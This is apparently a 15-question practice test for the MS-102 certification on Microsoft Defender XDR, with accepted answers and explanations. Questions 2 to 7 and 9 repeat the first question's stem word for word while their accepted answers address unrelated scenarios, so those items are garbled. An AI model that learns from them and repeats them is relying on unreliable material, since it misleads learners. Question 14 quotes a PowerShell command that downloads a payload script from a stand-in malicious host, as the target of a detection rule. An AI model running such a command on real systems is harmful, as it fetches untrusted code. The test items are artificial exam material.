MS-102 Manage security and threats by using Microsoft Defender XDR Practice Test 21 — 15 Questions

Question 1

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Create a custom indicator in Microsoft Defender for Endpoint with the action 'Block and remediate' and scope it to all devices.. Custom indicators in Microsoft Defender for Endpoint are the correct way to block files organization-wide. By creating an indicator with the action 'Block and remediate' and setting the scope to all devices, the file is blocked and remediated on any device. Other options either do not add to the indicator list or are not scoped organization-wide.

Answer

Enable the 'Block at first sight' feature in Microsoft Defender for Endpoint.

Answer

Configure an automated investigation and response (AIR) playbook to block the file when malware is detected.

Answer

Set up a Microsoft Defender for Cloud Apps file policy to block the file.

Question 2

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Configure email notifications for the alert policy.. To receive notifications for specific alerts in Microsoft Defender XDR, you must create an alert policy that includes the relevant detection sources and then configure email notifications for that policy. These two actions together ensure the security team is alerted about malicious files and suspicious sign-ins.

Answer

Set up a Microsoft Sentinel playbook.

Answer

Create a data loss prevention (DLP) policy.

Answer

Enable audit logging in Microsoft Purview compliance portal.

Question 3

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Incident details page. The incident details page in Microsoft Defender XDR is designed to provide a comprehensive view of an incident, including all related alerts, entities, and the attack story. This allows security administrators to understand the full scope and progression of the attack.

Answer

Advanced hunting

Answer

Threat analytics

Answer

Incident queue

Question 4

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Enable the Microsoft Defender XDR connector in Microsoft Sentinel and turn on incident creation. Enabling the Microsoft Defender XDR connector in Microsoft Sentinel and turning on incident creation is the correct method to ensure incidents from Defender XDR are automatically created in Sentinel. This provides a unified incident view and enables Sentinel's SOAR capabilities on Defender XDR incidents.

Answer

In Microsoft Defender XDR settings, enable the Microsoft Sentinel integration and select the Sentinel workspace

Answer

Configure a custom detection rule in Defender XDR that calls the Microsoft Sentinel API

Answer

Install the Microsoft Sentinel solution for Microsoft Defender XDR from the Content Hub

Question 5

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Microsoft Defender for Office 365 Safe Links policy. Safe Links in Microsoft Defender for Office 365 is specifically designed to protect users from malicious URLs in emails and documents by scanning and blocking access at click time. Configuring a Safe Links policy ensures that users are prevented from accessing malicious sites when they click links.

Answer

Microsoft Defender for Endpoint web content filtering

Answer

Microsoft Defender for Cloud Apps conditional access app control

Answer

Microsoft Defender for Identity sign-in alerts

Question 6

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Isolate the device from the network.. Isolating the device from the network is the correct action because it immediately contains the threat by restricting network communication while still allowing the Defender for Endpoint service to communicate with the device. This enables further investigation and evidence collection without risking lateral movement or data exfiltration.

Answer

Run a full antivirus scan on the device.

Answer

Collect an investigation package from the device.

Answer

Initiate an automated investigation on the device.

Question 7

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

Enable Safe Attachments and Safe Links policies with the 'Block' action.. Safe Attachments and Safe Links are Microsoft Defender for Office 365 features that use Microsoft's threat intelligence to automatically block malicious attachments and URLs. They provide real-time protection without manual intervention, aligning with the requirement to automatically block based on threat intelligence.

Answer

Set up a Data Loss Prevention (DLP) policy to block emails containing sensitive information.

Answer

Configure an Exchange Online mail flow rule to reject messages with attachments.

Answer

Create a transport rule to prepend a warning banner to external emails.

Question 8

You are a security administrator for Fabrikam, Inc. The company uses Microsoft Defender XDR with Microsoft Defender for Identity, Microsoft Defender for Endpoint, and Microsoft Defender for Cloud Apps onboarded. An analyst is investigating a suspected pass-the-hash attack against a domain controller. The analyst needs to correlate identity signals with device and cloud app activity in the unified incident. You must identify which Defender XDR capabilities the analyst can use to pivot from an identity alert to related device and cloud activity. (Choose two.)

Accepted Answer

Run Advanced Hunting queries against the IdentityLogonEvents and DeviceLogonEvents tables in the Microsoft 365 Defender portal.. Cross-domain correlation in Microsoft Defender XDR is achieved through the unified incident graph and through Advanced Hunting across the Kusto tables exposed by each onboarded workload. The graph links accounts, devices, IP addresses, and cloud apps, while Advanced Hunting allows joining IdentityLogonEvents with DeviceLogonEvents to trace pass-the-hash lateral movement. Health alerts, cloud app activity logs, and device timelines each cover only one domain.

Answer

Use the Microsoft Defender for Endpoint device timeline to review process creation events on the targeted domain controller.

Answer

Use the Microsoft Defender for Cloud Apps activity log to review file downloads from sanctioned cloud applications.

Answer

Use the Microsoft Defender for Identity health alerts page to review sensor configuration issues on the domain controllers.

Question 9

You are a security administrator for a company that uses Microsoft Defender XDR. You need to ensure that when a file is detected as malware by Microsoft Defender for Endpoint, the file is automatically blocked and added to the indicator list across all devices in the organization. What should you configure?

Choose an answer to begin — your selection is scored in the full session.

Accepted Answer

DeviceNetworkEvents. DeviceNetworkEvents is the dedicated table for network connection events in Microsoft Defender XDR advanced hunting. It includes fields like RemoteIP, LocalIP, and RemotePort, enabling precise filtering for communications with a specific malicious IP address.

Answer

DeviceEvents

Answer

DeviceProcessEvents

Answer

DeviceFileEvents

Question 10

You are a Microsoft 365 administrator for Tailspin Toys. The security team wants to reduce the number of alerts generated by Microsoft Defender for Endpoint on Windows 10 devices that run a custom line-of-business application. The application performs many legitimate network connections that trigger the 'Suspicious network connection' alert. You need to suppress these alerts while still investigating all other alerts. What should you create in the Microsoft 365 Defender portal?

Accepted Answer

An alert suppression rule for the 'Suspicious network connection' alert scoped to the affected devices or application.. Alert suppression rules in Microsoft Defender for Endpoint are designed to reduce alert noise by suppressing specific alerts within a defined scope, such as a device group, file hash, IP address, or URL. Scoping the rule to the line-of-business application and its devices silences the known false positive while preserving visibility into all other alerts. Indicators of compromise change block or allow behavior, and AIR or custom detections act after or alongside alerts rather than suppressing them.

Answer

An automated investigation and response (AIR) playbook that closes the alert automatically.

Answer

An indicator of compromise (IoC) for the application's executable hash with the action Allow.

Answer

A custom detection rule that queries DeviceNetworkEvents and marks the connections as benign.

Question 11

You are a Microsoft 365 administrator for a company that uses Microsoft Defender for Cloud Apps. The security team wants to detect when users download a large number of files from SharePoint Online in a short period, which could indicate data exfiltration. You need to create a policy to alert on this activity. What should you do?

Accepted Answer

Create an activity policy with a filter for 'Download file' and a threshold for the number of files.. Activity policies in Microsoft Defender for Cloud Apps are designed to monitor user activities and can be configured with filters and thresholds to detect specific behaviors like mass file downloads. This provides the precise alerting needed for potential data exfiltration.

Answer

Set up an anomaly detection policy for unusual file access.

Answer

Configure a session policy to block downloads from SharePoint Online.

Answer

Create a file policy with a filter for file name and a threshold for file size.

Question 12

You are a Microsoft 365 administrator for a company that uses Microsoft Defender XDR. A security analyst needs to view a unified list of incidents and alerts from Microsoft Defender for Endpoint, Microsoft Defender for Office 365, and Microsoft Defender for Identity. Where should the analyst go to see this unified view?

Accepted Answer

Microsoft 365 Defender portal (security.microsoft.com) under Incidents.. The Microsoft 365 Defender portal at security.microsoft.com is the centralized console for Microsoft Defender XDR. It aggregates alerts and incidents from Defender for Endpoint, Office 365, Identity, and Cloud Apps into a single queue, enabling analysts to investigate and respond across domains without switching portals.

Answer

Azure Sentinel (azure.microsoft.com/services/azure-sentinel) under Incidents.

Answer

Microsoft Defender for Endpoint portal (securitycenter.windows.com) under Alerts.

Answer

Microsoft 365 compliance center (compliance.microsoft.com) under Alerts.

Question 13

You are a Microsoft 365 administrator for Contoso, Ltd. The security team uses Microsoft Defender XDR. They want to be alerted when a user's Microsoft Entra ID account is disabled but the user still has an active session on a device. You need to configure a custom detection rule that triggers on this condition. Which data source and query approach should you use?

Accepted Answer

Use the IdentityDirectoryEvents table in Microsoft Defender XDR advanced hunting with a query that filters for 'AccountDisabled' actions and joins with DeviceLogonEvents.. The requirement is to detect a disabled Microsoft Entra ID account that still has an active device session. IdentityDirectoryEvents in Microsoft Defender XDR advanced hunting records directory changes such as account disabling, and DeviceLogonEvents tracks logon activity on devices. Joining these tables allows you to identify sessions that remain active after the account is disabled. Other tables lack either the identity event or the device session context, so they cannot satisfy the scenario.

Answer

Use the AlertInfo table and filter for alerts with a severity of 'High' and a category of 'Credential Access'.

Answer

Use the CloudAppEvents table and filter for 'DisableAccount' operations performed by an administrator.

Answer

Use the DeviceEvents table in Microsoft Defender for Endpoint with a query that filters for 'UserAccountDisabled' actions.

Question 14

You are a security administrator for Litware, Inc. The company uses Microsoft Defender XDR. You need to configure a custom detection rule that alerts when a user runs a specific PowerShell command on any device. The command is: `Invoke-WebRequest -Uri 'http://malicious.site/payload.ps1' -OutFile 'C:	emp\payload.ps1'`. Which advanced hunting table and column should you use to detect this activity?

Accepted Answer

DeviceProcessEvents, using the ProcessCommandLine column.. To detect a specific PowerShell command execution, you need the process creation event that includes the full command line. DeviceProcessEvents is the dedicated table for process events in Microsoft Defender for Endpoint, and ProcessCommandLine holds the command-line arguments. Filtering on this column for the malicious URL or command pattern will accurately trigger the custom detection rule. Other tables either lack command-line data or are not designed for this purpose.

Answer

DeviceEvents, using the AdditionalFields column.

Answer

DeviceFileEvents, using the FileName column.

Answer

DeviceNetworkEvents, using the RemoteUrl column.

Question 15

You are a security administrator for Northwind Traders. You use Microsoft Defender XDR. You need to identify all devices that have communicated with a specific IP address associated with a known threat in the last 30 days. You want to use advanced hunting to find this information. Which table should you query?

Accepted Answer

DeviceNetworkEvents. Advanced hunting in Microsoft Defender XDR includes the DeviceNetworkEvents table, which logs network connections and associated remote IP addresses. To find devices that communicated with a specific IP, you query DeviceNetworkEvents, filter by the RemoteIP column for the threat IP, and restrict the Timestamp to the last 30 days. This yields the required device list.

Answer

DeviceFileEvents

Answer

DeviceEvents

Answer

DeviceLogonEvents